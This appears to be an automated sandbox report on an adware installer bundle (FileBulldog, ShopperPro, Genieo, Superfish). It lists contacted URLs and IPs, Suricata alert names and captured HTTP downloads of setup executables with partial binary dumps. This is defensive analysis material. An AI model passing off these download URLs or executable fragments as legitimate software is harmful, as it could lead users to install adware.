hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.3&utms=2&utmn=134117307&utmhn=bi.bisrv.com&utmhid=934154437&utmr=-&utmp=Offer_Accepted&utmht=1423886278133&utmac=UA-31676879-1&utmcc=__utma=1.833397082.1423886223.1423886223.1423886223.1;+__utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ 173.194.113.201
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=NEjPoAxksx3HiNdSCLSbR8qE4UfJCi9fHjchdSi0RQ3VSkBwYPm MybAHEhoDk4RCMJFGbZT97lIYTGpbiqfvFt82 SNOJfk Qi34DV81hlm5LT87ehXajfk5LsCkxZTSJ2GEE6wp4x0ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1oFr06D0Dj31jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXjjBV foZFcFJlJVRw8VSypsqwZwxAX4ff 54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=yhrBLBbZM9VXzPC13FVNqoxXl6h7wlThxIxKnrRLLMH8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0LYXcJcN2x8HCa0xTW5cEyjJtJHrqyQTdaFAL52sIXt4WKH9ligQJ6aWE3k2r1sLHgyjwE5JpZyhPWl3SkZAlkUSa /s063GNQgTM gosjwGjstyGccrEswun1wxOHdTMpoeLyUnxlnriM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUtbrNUWUt1Lv5Kni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yz 54.230.200.21
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGFhZDU5YzExLTcxYmYtNGZkMS04ZmNmLTRlZDZmMmU0YWVlMCwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTc1JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423886360&aff=JSsmtycl&ver=2.5.8305.1502&usid=2858020935-2156992550-3658131804 198.232.124.192
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?93278cc0b8d00510 88.221.132.207
hxxp://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=IF2Ewsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&apptitle=ShopperPro&channel=IF2Ewsmtycl 198.232.124.37
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,25 65.255.35.142
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilEOTLcOqfVOXSmF904v4t2Dm/O2qbWSzQzF5mlVsbpBVmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSrgiRxZztPW6qRWJf 8QX2AK5aTSincfOcyVOO4g8JDtm1Uc0BN5IxI= 54.230.200.21
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.3&utms=5&utmn=1695078490&utmhn=installer.filebulldog.com&utmhid=739797407&utmr=-&utmp=Installer_Init&utmht=1423886467920&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ 173.194.113.201
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1Px8I08wxlBW/ 54.230.200.21
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.3&utms=2&utmn=1176096904&utmhn=installer.filebulldog.com&utmhid=311055109&utmr=-&utmp=Offer_Accepted&utmht=1423886401533&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ 173.194.113.201
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=j7YMo/n29XMVCZIctrluXpVvxobzfh8z/grZOB60hz54E7mrr1h80jmXqQawsZSOUA7dl9owwhJBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1P77DGVW/zPIku8xZXzyRdbCX1FtTkCv6XJj4nqCRCCle333RAvM0VMCx2KlVs8m8LqSlVGmgAnwDDNmmGug8UNz4r4Sza48LkfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIlo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeHEbeUrrG4lg= 54.230.200.21
d2cnb4m0nke2lh.cloudfront.net 54.239.168.245
d13j8bqw-l8bu4n1j.netdna-ssl.com 198.232.125.3
cdn.visadd.com 108.162.200.127
googleads.g.doubleclick.net 173.194.113.205
www.superfish.com 66.70.34.103
www.gstatic.com 173.194.113.216
www.youtube.com 173.194.113.199
ssl.gstatic.com 173.194.113.207
apis.google.com 173.194.113.200
ieonline.microsoft.com 204.79.197.200
online.goobzo.com


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET POLICY Executable served from Amazon S3
SURICATA STREAM 3way handshake with ack in wrong dir
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321632
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-321631/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: AfuxaLnXXUAixE8lyfUoCikh-v50HUIQ6mpdN__9BD75yRWPjSsxtw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321672-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 965011
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:56:57 GMT
Content-Range: bytes 321672-1286682/1286683
X-Cache: Miss from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 6t_VJqPLLs91MxIbNiBs_jdiehptouQO45q283tkIChEHmB8FVIqUw==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 965011..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT..Accept-Ranges: bytes.
.ETag: "639a3946a47d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Sat, 14 Feb 2015 03:56:57 GMT..Content-Range: bytes 32167
2-1286682/1286683..X-Cache: Miss from cloudfront..Via: 1.1 8813babdd85
ca691e150294142d51c61.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 6t_VJq
PLLs91MxIbNiBs_jdiehptouQO45q283tkIChEHmB8FVIqUw==...{">...'..&....
P eT.gt. ...T:C......].r..t..U......X.....%.z..........{..#kg.....H.O.
.S&..,....!.l.s..i...E.....9M yh..u.B...|.. .`g.C....8.,..<3.......
.-S7..b-.c.j. ..^..m.Y.C$%.m.:E....[.H..."..b.W......b.D.....(......](
.......H....I...Ck..`Tg.....>d}-B.u.eV..............."-.n.....P..a.
..K....N..M....,..K3....!..o..1.7..........{...Y..y.=........V..7.....
=.x.....Wm....1K.......~w..ZN?v.{I_...6....H.OeA..oc..n.i%...-.?G.Y.Z.
V.t!|N..A..Q...$..#f.....'z............1.n .....)j......4............"
..mU....}...C....8}E0...~l.......0.q...v...}m..?*..~...{.k..L`..E1.?..
hEb..mr....E....Z......}....b9...[r...*..t..sT.}..../.].....M...d.N.|.
.H..bWh..q..kY ...}.o......'&.#V.;P.R..ST^..c.ty..U.\...d.l.lR..kA....
#TH.m.;g..;.0..DM......[.]9....%[email protected] ....P.. .......,Y.7.J.
..|...0}..^......XI..;...a\.H.1^..e.Yu..}$..s...q.}..w...,.Y.z.t......
..W.=-A.)S.K.L..R..u.F.4t....o......H.IH$..vz.~.gw.d..';.q0..u-.m".B..
......Y...%j.;TE.>....}M..../....e..._.1l..y.ti_....[....).....
<<< skipped >>>


GET /affiliates/filesfrog/eula.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2q90bop9bptps.cloudfront.net
If-Modified-Since: Sun, 26 Oct 2014 17:23:05 GMT
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Date: Sat, 14 Feb 2015 04:01:08 GMT
Server: nginx
Expires: Sun, 08 Feb 2015 05:08:20 GMT
Cache-Control: max-age=600
Age: 458
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: wJiI39zsYg8GflvYemk1XMircVMdcXvrp1J5nBBenGquXRvwwhfnXQ==



GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2wy0yopxw6nne.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 26401
Connection: keep-alive
Server: nginx
Date: Tue, 10 Feb 2015 14:50:36 GMT
Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT
ETag: "54da1999-6721"
Expires: Tue, 10 Feb 2015 15:00:36 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
X-Cache: Miss from cloudfront
Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 9py0mAf78KCU_foDncINnya7yYeVN3zr3YwkTXX-zpYQ4bbycVM1kQ==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=247102-494204
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: oHwPV0d4H8JIu95V40NOjjRugfanNFvhAVbtI5btY04Cdw6RsNJY5vVMaXzOKp4Vd2yDlo6weKg=
x-amz-request-id: 9F15709004F13F80
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 247102-494204/988408
Content-Type: application/octet-stream
Content-Length: 247103
Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=864857-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: bBi 7i63PpL3yeRBz8NapmUrVpT5p2r9xfPgyn8SV6sBErDVGQ/TehsW7/e1j9JgirkxxkeWOVM=
x-amz-request-id: C455EE8EBBD282A8
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 864857-988407/988408
Content-Type: application/octet-stream
Content-Length: 123551
Server: AmazonS3
7f..]....|.5...[HZ-.....{\..Y......?...DQ....5Wp.!./...,LGv....- .....
.zw..x..B%9{..#....x.. Rp..by....KZ...k.t..y......8*.<.........L.d.
[email protected]..,...}..l....g....s.6*...".....F..f&.0.p..-....q....UN..
...^...-S.3.....@ /2.;......v.(.#....2.......Z.un....:....U.J4.......l
.....S.........Y....".W.1..r.-.!./.a.......v....6.......l..a.!.^.;..8.
t.]qeq..u..7'/..I.fEd.m....ij....L..R..$......0..1O.......D.C.........
n...^...eC~...>ec...xU?4......Y-s.F...y,..cM.....'.b.w-..z>U....
 .9.K.!4..y..&N...Y..$...R*........b....V....\6l...H..`.{.....4.Z.....
.X?.q.2Y.D..J.Z.z..~..p.JP(...v.#..P...._ ....G.s $..x[.e..$<V!....
h...I.h9O%,....R'S..F...*.G......I.Sp.1]....#|K.G..S........."=.XZ....
9.......S.DR..)9..x....:.....$......=....n.....{.J.......I..[..VLm.6l.
!=..Q.v.....f*....".)>..D.1......t..:9.....d5.).y|w..Z.(.=~....2Ix.
.o_;..........'..J.2Ds.!q.v.-.....#."..iq.:1A[d...]....,....-(.^Q..R.&
gt;..-=...[=.M.c...%.\hu.t...M...h.WC:r......|x)....[~k.[....d......@F
....X.....*..7YQ..Kai.m7.....Y...D.2.o.P......(J&>z..\[email protected]
#r`o.h.....c)y...=.x..%...%...A_.r.Po...}.........Uq...V.r....i.m].!..
.)d.....I..R.$..)*..V.z..O.).n.15.qP.]t.9..'.J2y..9?..S.....4C....a..%
.I....?g...5..M..cy.....o...........<...P.S3c.M../[=u.#.g.m.V._H=..
...E.>U.R..3"..u.|j.n..\...r*.....o.b...;.j\.H......g#..S........hv
..<..H!.(.......q.g .....Bc..u.E......./5.Qo....j....@^......J.....
_=.Iy..K.`.W..E.t...m.w.K..[<..e*.g(.T.fD=.........xeD.g....&.._.b.
.Lc.zvkn.Q.O..0NI...~.5.b%k...**.f...sk..)z[.0..JY.u:lJ?...'.M~.k.
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?93278cc0b8d00510 HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Fri, 12 Sep 2014 18:47:05 GMT
If-None-Match: "805a83f2b9cecf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: application/octet-stream
Last-Modified: Fri, 23 Jan 2015 02:29:11 GMT
Accept-Ranges: bytes
ETag: "803565fb436d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 57591
Date: Sat, 14 Feb 2015 03:59:53 GMT
Connection: keep-alive
MSCF............,...................I.................6Fm. .authroot.s
tl......8..CK...<T...g.v!M.d..f.%d..}K..5......dM*K..J.,%K"...!..=.
k..........{=/....{g.~...............'....6..N....w......(.$.>.7...
........'.....`.bx....^..$.'.^.K.C......<[email protected]
.....usXq.d.i.jF$.4.........KI.Q........A2m:..E.P|...(.^p..=G|.....m..
....  .6...H.e.....X'...%$r.Y.(..)........|...;...V^r.VM.._*X.I. ..4..
...*.....Y..`.0w.u...c.i.[..-...x..<.8.<.p..,..y.[v.Yn`......!.s
...4e......B...$.,..........w.Pd.)....,..#.%..h...8...`.A...8.i(.!.$/.
=.....i.\X.H......"...a...k...y6....F.._?\*.&..3.AJo.!..`....9....=.p.
u..u....f.f....w...?..S..I.;.....5._...F.f..G?$......."..kq.y'.6tJ.e%.
.G.n.....z<.pX"....1..g."........V:.H.-...!}LM..t..-.y.j&...n{..-.]
H. .....A.O.Xg..B...#[email protected]..*.....T...}o._./S..h@$
[email protected]..#.:?."....1..v.....&G...?O1x6"5.@..$.U...n.J...w
.Y.{..........E.N.&...&.rC..W.....M.........,.e.....&eI(/eSO.B..K...R.
 [email protected].....(..Y./;-..M5.0.H2.y....:...........a.U....%.S.).^.
...1.B..a..=...q...X .B....F.../..../.Z...'..t....C....,.^...N=..t%N|I
C.#.)6...q.E.J.i.E.>....".L........>...Vy.7.jxx......G........._
q.1^..H&.4Z......^.E.K 9.Xg...qO.6%>..T....;n..s.'u.-...=.........p
..p.Rn.........=.......F........d. d.AR.0U..........9b...=N..#....c.Ic
z......u.0............Y.q..b.wYE.......R...s..W....r].....hT....k.g..[
...s.....X..`=zb.>..../..=........J.N.h...(}.5.7. .;..=F..F...'.?..
2...3...=...B..`....{...f.`Kb..@..`Z.0!^8.t..<l.j..lI.P.q.>k
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=80408-160816
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 80409
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 80408-160816/321632
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: gz_IBww9iJ1PT5O9-n6biro5Pnu28WpJ3Rqm3GoTQgvDD0rYaAoElg==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=482508-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 804175
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:56:57 GMT
Content-Range: bytes 482508-1286682/1286683
X-Cache: Miss from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: J5606ZiLNZdwldq2Tu4WkVSr8tN4LflxK-t_FN58rwEumS-Zi9A9mQ==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 804175..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT..Accept-Ranges: bytes.
.ETag: "639a3946a47d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Sat, 14 Feb 2015 03:56:57 GMT..Content-Range: bytes 48250
8-1286682/1286683..X-Cache: Miss from cloudfront..Via: 1.1 8813babdd85
ca691e150294142d51c61.cloudfront.net (CloudFront)..X-Amz-Cf-Id: J5606Z
iLNZdwldq2Tu4WkVSr8tN4LflxK-t_FN58rwEumS-Zi9A9mQ==.....U..Qu..x....T..
......U.;b...6..A~.m.%........}|.o....'.Y.P..DU.........-......alB.on-
X...oj.i..-0..Y.0 U...w..E.......,.).QT.F[..O..ewK...[.......B....>
qcs..<........_~,....7D..gR...WNYu..$."...S.....[.....O....Za.c(WN.
...... N...U....i.z.d.%K....n ....b..`........4;...........s.......K..
.i..Y.G[.:.3|...~....2..?...3.y*..x..".KG^l....E.7....A.........e2.v..
...P.r.R.. .z....k...XI...h........./....^]F..0.2...k.......7......%.S
R......Z.....{.Z..s?\If'89.....h....e7..hM^U.......... ......!G..2....
.Ua`}.I.t..*wI....|...nlD....*.d.9.S.p.B.S..#...}v......I,..Q....b"K(R
